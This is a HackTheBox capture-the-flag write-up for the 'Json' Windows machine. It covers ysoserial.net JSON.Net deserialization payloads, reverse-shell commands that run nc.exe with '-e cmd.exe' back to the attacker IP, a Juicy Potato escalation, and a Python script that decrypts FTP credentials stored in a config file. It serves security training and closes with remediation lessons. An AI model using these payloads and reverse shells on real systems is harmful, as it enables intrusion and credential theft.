HTB: Json Writeup

Json - HackTheBox Writeup

Machine Information

AttributeDetails
NameJson
OSWindows
DifficultyMedium
PointsN/A
Release Date7 February 2020
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Json is a medium difficulty Windows machine running IIS with an ASP.NET application vulnerable to .NET deserialization attacks. The application deserializes untrusted JSON input, allowing us to inject malicious payloads via ysoserial.net to achieve code execution. Post-exploitation reveals a custom Sync2Ftp service with encrypted credentials that can be decrypted using reverse engineering techniques with dnSpy. By analyzing the encryption scheme (3DES with MD5-hashed key), we recover FTP administrator credentials leading to privilege escalation.

TL;DR: JSON deserialization RCE via ysoserial.net → Reverse engineer Sync2Ftp service with dnSpy → Decrypt embedded credentials → FTP access as superadmin → Root flag


Reconnaissance

Port Scanning

Terminal window
# Full port scan
nmap -p- --min-rate=1000 -T4 10.10.10.158
# Detailed enumeration on discovered ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.158 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.158

Results:

  • Port 21 (FTP): vsftpd (closed for initial access)
  • Port 80 (HTTP): Microsoft IIS 10.0 - ASP.NET web application with login page
  • Port 5985 (WinRM): Windows Remote Management (potential lateral movement vector)
  • OS Detection: Windows Server 2008 R2 or 2012

Service Enumeration

Browsing to http://10.10.10.158 reveals a login portal. Testing with common credentials (admin/admin) grants access to a dashboard. Monitoring HTTP traffic with Burp Suite reveals:

  • POST request to /api/login with credentials
  • GET request to /api/Account returns a Bearer token in the Authorization header
  • Token format: Base64-encoded JSON containing user identity information

Decoding the Bearer token shows JSON structure:

{
"Id": "1",
"UserName": "admin",
"IsAdmin": true
}

Vulnerability Assessment

Identified Vulnerabilities:

  1. Unsafe JSON Deserialization: The ASP.NET application deserializes JSON input from the Bearer token without proper validation. Sending malformed JSON (e.g., with unescaped quotes) triggers a 500 error mentioning “JSON.Net object can’t be deserialized,” confirming the vulnerability.

  2. ysoserial.net Gadget Chain Available: JSON.Net library is vulnerable to deserialization attacks via the ObjectDataProvider gadget chain.

  3. Weak Service Credentials: Custom Sync2Ftp service stores encrypted but recoverable credentials in its configuration file.


Initial Foothold

Exploitation Path

Step 1: Generate Malicious JSON Deserialization Payload

Download ysoserial.net from the releases section. Generate a test payload to verify code execution via ICMP:

Terminal window
# On Windows with ysoserial.net
ysoserial.net -f Json.Net -g ObjectDataProvider -c "ping 10.10.14.6" -o base64

This generates a Base64-encoded payload that will execute ping when deserialized.

Step 2: Craft Malicious HTTP Request

Replace the Bearer token in the Authorization header with the generated payload:

GET /api/Account HTTP/1.1
Host: 10.10.10.158
Authorization: Bearer <YSOSERIAL_PAYLOAD_BASE64>

Step 3: Verify Code Execution

Before sending the request, start an ICMP listener:

Terminal window
# On attacker machine
tcpdump -i tun0 icmp

Send the request. Even if the server returns a 500 error, ICMP ping packets will be observed, confirming code execution as the userpool service account.

Step 4: Obtain Reverse Shell

Set up SMB share with netcat binary:

Terminal window
# On attacker machine
mkdir share
cp /usr/share/windows-binaries/nc.exe share/
impacket-smbserver share $(pwd) -smb2support

Generate new ysoserial.net payload for reverse shell:

Terminal window
# On Windows with ysoserial.net
ysoserial.net -f Json.Net -g ObjectDataProvider -c "\\10.10.14.6\share\nc.exe 10.10.14.6 443 -e cmd.exe" -o base64

Set up listener and send the malicious request:

Terminal window
# On attacker machine
nc -lvnp 443

Upon request execution, a reverse shell is received as the userpool user account.


Privilege Escalation

Exploitation Path

Step 1: Enumerate Installed Programs

From the reverse shell, listing installed applications reveals a custom service:

Terminal window
# List Program Files
dir "C:\Program Files"
# OR check registry
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName

Sync2Ftp service is discovered, located in C:\Program Files\Sync2Ftp\.

Step 2: Extract Binaries and Configuration

Copy the service binary and configuration file to the SMB share:

Terminal window
# From the shell
copy "C:\Program Files\Sync2Ftp\SyncLocation.exe" \\10.10.14.6\share\
copy "C:\Program Files\Sync2Ftp\SyncLocation.exe.config" \\10.10.14.6\share\

Step 3: Reverse Engineer with dnSpy

Download dnSpy and open the binary. Analyzing the code reveals:

  • Main method: Creates and registers the Service1 service class
  • Service1.Start(): Calls the Copy() method
  • Copy() method: Reads encrypted credentials from the config file and uses them to connect to FTP

The configuration file contains:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="/>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>

Step 4: Analyze Encryption Scheme

The Crypto class in dnSpy reveals the encryption method:

  • Encryption Algorithm: Triple DES (3DES) in ECB mode with PKCS7 padding
  • Key Derivation: MD5 hash of the SecurityKey
  • Encoding: Base64
// From dnSpy analysis
public static string Decrypt(string cipherText, bool useHashing)
{
string key = ConfigurationManager.AppSettings["SecurityKey"];
if (useHashing)
key = MD5(key);
// 3DES decryption in ECB mode with PKCS7 padding
return TripleDES.Decrypt(Base64Decode(cipherText), key);
}

Step 5: Decrypt Credentials

Create a Python script to decrypt the credentials:

#!/usr/bin/env python3
from pyDes import triple_des, ECB, PAD_PKCS5
from base64 import b64decode
from hashlib import md5
# Configuration values from config file
security_key = b"_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"
encrypted_user = "4as8gqENn26uTs9srvQLyg=="
encrypted_pass = "oQ5iORgUrswNRsJKH9VaCw=="
# Hash the security key with MD5
hashed_key = md5(security_key).digest()
# Create 3DES cipher in ECB mode with PKCS5 padding
cipher = triple_des(hashed_key, ECB, padmode=PAD_PKCS5)
# Decode and decrypt username
username_data = b64decode(encrypted_user)
username = cipher.decrypt(username_data).decode().strip()
# Decode and decrypt password
password_data = b64decode(encrypted_pass)
password = cipher.decrypt(password_data).decode().strip()
print(f"Username: {username}")
print(f"Password: {password}")

Running this script returns:

  • Username: superadmin
  • Password: funnyhtb

Step 6: Access FTP and Obtain Root Flag

Connect to FTP using the decrypted credentials:

Terminal window
ftp 10.10.10.158
# Login: superadmin
# Password: funnyhtb
# Navigate and retrieve root flag
dir
get root.txt

The root flag is successfully retrieved from the FTP server.

Alternate Escalation Method

As userpool is a service account, it holds the SeImpersonate privilege. On Windows Server 2012, this can be exploited using Juicy Potato:

\Users\Public\
# Download and setup Juicy Potato
# Create shell.bat
echo C:\Users\Public\nc.exe 10.10.14.7 4444 -e cmd.exe > C:\Users\Public\shell.bat
# Execute with valid CLSID for NT AUTHORITY\SYSTEM
C:\Users\Public\JuicyPotato.exe -l 9001 -p C:\Users\Public\shell.bat -t * -c "{CLSID}"

This grants a SYSTEM-level shell, providing alternative privilege escalation.


Attack Chain Summary

Reconnaissance (IIS/ASP.NET)
Identify JSON Deserialization Vulnerability
Generate ysoserial.net Payload (ObjectDataProvider gadget)
Inject Malicious Bearer Token
Code Execution as userpool (service account)
Reverse Shell via SMB-hosted nc.exe
Enumerate Sync2Ftp Custom Service
Reverse Engineer Binary with dnSpy
Identify 3DES Encryption Scheme
Decrypt FTP Credentials (superadmin/funnyhtb)
FTP Login → Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
Burp SuiteHTTP traffic interception and request crafting
ysoserial.net.NET deserialization payload generation
tcpdumpICMP verification of code execution
impacket-smbserverSMB share hosting for payload delivery
dnSpy.NET binary reverse engineering and analysis
pyDesPython Triple DES decryption library
netcat (nc.exe)Reverse shell delivery

Key Learnings

Techniques Practiced

  • Unsafe Deserialization: Understanding how untrusted JSON input can lead to arbitrary code execution in .NET applications
  • ysoserial.net Payload Generation: Crafting gadget chain payloads for ObjectDataProvider in JSON.Net
  • dnSpy Reverse Engineering: Analyzing compiled .NET binaries to understand encryption/decryption logic
  • Cryptographic Analysis: Identifying 3DES encryption with MD5 key derivation and implementing decryption
  • Service Account Privileges: Leveraging service account capabilities for privilege escalation
  • Custom Application Analysis: Finding sensitive credentials in non-standard applications

Lessons Learned

  1. Validate Input: Never deserialize untrusted JSON or serialized objects without proper validation. Use safe deserialization practices like JSON schema validation.

  2. Secure Credential Storage: Avoid embedding encryption keys in configuration files. Use secure credential management systems (e.g., Azure Key Vault, Windows Credential Manager).

  3. Defense in Depth: Even if code execution is achieved, proper access controls and privilege separation can limit lateral movement and escalation.

  4. Reverse Engineering Skills: Understanding compiled code is essential for identifying security flaws in custom applications that may be missed during initial reconnaissance.

  5. Key Material Protection: Hardcoded keys and predictable key derivation methods (like single MD5 hash) are insufficient for protecting sensitive data.

  6. Service Account Hardening: Service accounts with SeImpersonate privileges require careful monitoring and should use minimal required permissions.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>